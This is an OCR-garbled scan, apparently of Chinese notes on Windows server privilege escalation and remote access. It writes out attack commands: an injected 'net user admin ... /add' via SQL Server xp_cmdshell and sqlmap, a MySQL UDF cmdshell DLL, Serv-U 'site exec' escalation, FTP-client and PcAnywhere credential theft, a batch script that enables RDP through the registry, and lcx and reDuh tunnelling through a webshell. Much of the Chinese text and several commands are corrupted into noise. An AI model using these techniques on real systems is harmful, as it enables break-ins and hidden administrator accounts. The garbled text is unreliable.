OS &4~ netstat -a: TCP  0.0.0.0:2383 0.0.0.0:0 LISTENING
TCP  0.0.0.0:3306 0.0.0.0:0 LISTENING
TCP  0.0.0.0:4430 0.0.0.0:0 LISTENING
TCP  0.0.0.0:5521 0.0.0.0:0 LISTENING
L1245 B TCP  0.0.0.0:5526 0.0.0.0:0 LISTENING
=18 & TCP  0.0.0.0:8009 0.0.0.0:0 LISTENING
#F5X TCP  0.0.0.0:8080 0.0.0.0:0 LISTENING
TCP  0.0.0.0:8100 0.0.0.0:0 LISTENING
% TCP  0.0.0.0:8183 0.0.0.0:0 LISTENING




Z 3\

admin
Q\ Aithic
Administrator Administrator
EES P R {EP
BV T TAL
SQL Server

*4A F “xp_cmdshell” , i#it “netl user x x/add& netl lceolgroup administrators x /add”
netl user admin 2288666 /add & netl localgroup administiator: adimin /add

Kh—NERBRR P, 4% HAadmini 752288666

./‘i }\ o‘\]‘?\

://www.mydomain.com/index.jsp?id-"1;erer netl user admin 2288666 /add & netl localgroup administrators
[add

y—u " http://www.mydomaiir.com/index.jsp?id=1" —os-cmd="net1 user admin 2288666 /add
administrators adrrin /add"



BV T TAL R— & Zsalk £ 4 T 4% Fxp_cmdshell
SQL Server

_ 7T A% B sqlerveragera cn oacreate xp_regwrite L =] YA 3 AL

AR IPEE R conn.asp. web.config. db.inc

IF )& xp_cmdshell % A xp_cmdshell

EXEC master.sys.sp_configure 'show advanced opiion.', 1 EXEC master.sys.sp_configure 'show advanced options’, 1
GO GO

RECONFIGURE RECONFIGURE

GO GO

EXEC master.sys.sp_configure 'xp_cr-d<he'l’, 1 EXEC master.sys.sp_configure 'xp_cmdshell’, 0

GO GO

RECONFIGURE RECONFIGURE

GO GO




BT AL
MySQL

select @ @basedir;
select 'It is dII' into dumpfile 'C:\\xampp\\mysa!\\\1x::SINDEX_ALLOCATION';
select 'It is dll' into dumpfile 'C:\\xampp\\:mysa'\ \lib\\plugin::SINDEX_ALLOCATION';

create function cmdshell returns strir.g sonceme ‘udf.dll’;
select cmdshell('netl user admin acivin jadd');

lect cmdshell('netl localgroun cdministrators arsch /add');
p function cmdshell;

FEARIE A F 25 c:/Windows F.c:/Windows/system32, Fir A+ &L
plugF AL 2 A w, EETAR



‘ FTP24%

FTP: File Transfer Protocol

FTP 4] A4~
uote site exec <&-4->

A ERFH R I H

D AR AR

21 A EFR




Serv-U3Z AL

C:\Program Files\Serv-U\ServUDaemon.ini

C:\Program Files\Serv-U\ServUDaemon.ini

[GLOBAL]

RegistrationKey=/s0mZGHIRkLhN17kC6 BHgXtKGeymagrzy2CKSy /iSEc0iYs8FOgXhN17k9H
Version=6.4.0.6

ProcessID=2008

[DOMAINS]

Domain1=0.0.0.0]| 21 |@S~=%%11010

[Domainl]

Userl=360jg]1]0

rIIEl:D 'Iﬁ.l"i rl| 11

F'EISEWDrl:l II\F}"EJI-AFEIUBEEEESIIEEDAFES}'IIIEBQEED

o R L
IIl..I'llIl:I_.I'lI —Lfa W0 BN

RelPaths=1

PasswordLastChange=1482508708

TimeOut=600

Notel="Wizard generated account”
5 Access1=D:\FTP|RLPWAMCD

B IEMDS A %, T LR fo )i P

H )G BAT

quote sice =z netl user admin admin /add'

quote sitc exec netl localgroup administrators arsch /ad




B = F1E B
A

FlashFXP3& AL

FlashFXP 2 — & 2 fk 3% K 69FXP/FTPER A, &R T BLE R F 49FTPAR % 694K . CuteFTP# B kibik, AHHE
X F R 7;4mBpFTP L & % B TR B, 48 3 XdvleapFTRg S<m u’r

Site.dat —

— if’”:;'ﬁ FTP'T:: SN

FEZL AN MNIRSGE LIRTF R, B £3 AN,
Rk, ATURFEARSFBLGAR LAFm (*E
U EREERER) , FERI KT TR R L

MySQL 55 Al &




PcAnywhere 3% 4

PcAnywhere 2 — kit f2 354 84k, PcAnywheretd 02 A T FEMWE AR & :
o s 9 ’ DR EAREERGB. &
¥z %A% ‘56310
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R .




J& 3L EALIRAL

BMENRBANLRSGE LB —RGHERR, AP TAER LKSER, AR PR ENS
BB A, BB B0 BIEF A AW AR

W ILE P EHE AR

8 312 AR SARASPXH &, ASPXT AAHUT

D:\virtualhost\web580651\www\
F:\usr\fw04408\xpinfo\
D:\hosting\wwwroot\

e:\wwwroot\longzhihu\wwwroot\
d:\freehost\zhoudeyang\web\
D:\vhostroot\LocalUser\gdrt\
f:\host\wz8088\web\
D:\Vhost\WebRoot\51dancecn\
D:\vhostroot\localuser\
D:\enkjhost\

RG4S, LA TAZ X AN S

# W B A
7 W B 4k E AL E 5 E ¥ E M0day, 2 5 administrator )
Prim@Hosting & 3. £ AL P %freehostruna
2B DR EAL >iis.exe-i
B EREIH.EM FreeHost ID:72

Ry »
:?5' A >iis.exe -u 72
RS userName:freehostruna
Sk password:123456
vhostroot 55 A, 3 B AL
1T 8 2 4 AL
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3389355

33893% 2 Z Windows 2000(2003) ServeriZ 2 £ @ dg B &3, T A@iTiX AR, FA"i&
BREO"FEET LA AL ZEGRES

wENE Bt BB | 2aER 28 |

AT R
Pt EnERZEVHEY, R)
2 SRR RIS S

AL S
fio—MiEm, AEIEEERLIER IIREE) -
O FAFEEEIREHEY, 0)

© ggﬁ%ﬁﬁ J%ﬁiﬁﬂ%ﬁﬂﬁi&ﬂiﬁﬁﬁﬁﬂ%ﬂ

[ J[ m& ) ofw |

O REETHERFSESENHT EER $itze) O

ks ]

NN

) HERE
b FIEEEEE
b I
W Window: FEETESS
o A
I S¥m
) EEsd

n
>

HENC): EEEIEER
BRa: HIN-86RPNPZDIN2\Serveradmin
HImEREAOEE 1R

v FERO (Egw | [ oo |



- .
[
.

< <\
338935 " % % FECHOE —/3389.reg 1, K & S A 2% '

echo Windows Registry Editor Version 5.00 >>3389.reg

echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current'/e.sio.n\netcache] >>3389.reg
echo "Enabled"="0" >>3389.reg

echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Cur.em‘ersion\Winlogon] >>3389.reg
echo "ShutdownWithoutLogon"="0" >>3389.reg

echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg

echo "EnableAdminTSRemote"=dword:00000001 >>3389.1>g AL ET 1>

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlS 2t\Ce1trol\Terminal Server] >>3389.reg = 4\ 1/,(%75 ZK%
echo "TSEnabled"=dword:00000001 >>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentCatr.'Set\Services\TermDD] >>3389.reg

echo "Start"=dword:00000002 >>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CuirentContro:Set\Services\TermService] >>3389.reg

echo "Start"=dword:00000002 >>3389.reg

echo [HKEY_USERS\.DEFAULT\Keyboard cayou:t\Toggle] >>3389.reg

echo "Hotkey"="1" >>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\C.'rrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg

echo "PortNumber"=dword:C037?D3D >>3389.reg

echo [HKEY_LOCAL_MACHINE\SY$1 “M\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg

%, echofH




338935 U
%Ji}i\’(ﬂ‘ﬁ‘ regedit /e c:\2333.txt

_ "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\

Terminal Serv 2r\ ‘Nds\rdpwd\Tds\tcp"
VAR N

9}53389 J?i?b _ﬁ'f&fﬁ; | Mg J :"i°dName"="tcp"

TAF W
“ovtNumber:+ sx it 4] 5% o

"PortNumber"=dword:00000d3d

"RequiredPds"=hex(7):74,00,73,00,73,00,65,00,
FANMAP #4733 : nmap -A —n- 192.168.0.105 +00,76,00,00,00,00,\
CMDSHELL:netstat -an "g:rviceName"_"tcpip"
£ 1338942 4% T.J1 -




Icx -listen 34 2389 W %734 238935 7

lcx —slave 192.168.0.105 34 127.0.0.1 3389

|3 izesmss
HEHL©: [127.0.0.1:2389) =

TSR

- ER)|

¥ AR 693389 3% v R R IR 48 3k 2 4934




http://www.exehack.net/894.html

reDuh#: &

reDuhi& &L L =FF 5 23735,
reDUhR S-S5 2 AR AL %5, 27 A ASPXPHP ISP B 3222 FwIIAVAEE 45, F &4 KIDK
XA T I W AR 525 69 3% 0 38 idhttp/https B 38 45 X #) A3, B R—AEE DB

1LXZEMBTEFNELHIHREC, XETRETHEINEFAGTESTI A £

2. 10JR %35 8 webshell 4% 2] B 47 IR &2

I E . Co. Jp/ reDuh. aspx - Micros
IHE fFEE EFN R TR #BEhia

@si- O [ 36 Prr Soumn
Hidk (o) |@ http:#fwww. ol oo co. jpfreluh. aspx
Google | ~ i

[reluhError] Tndefined Eequerst
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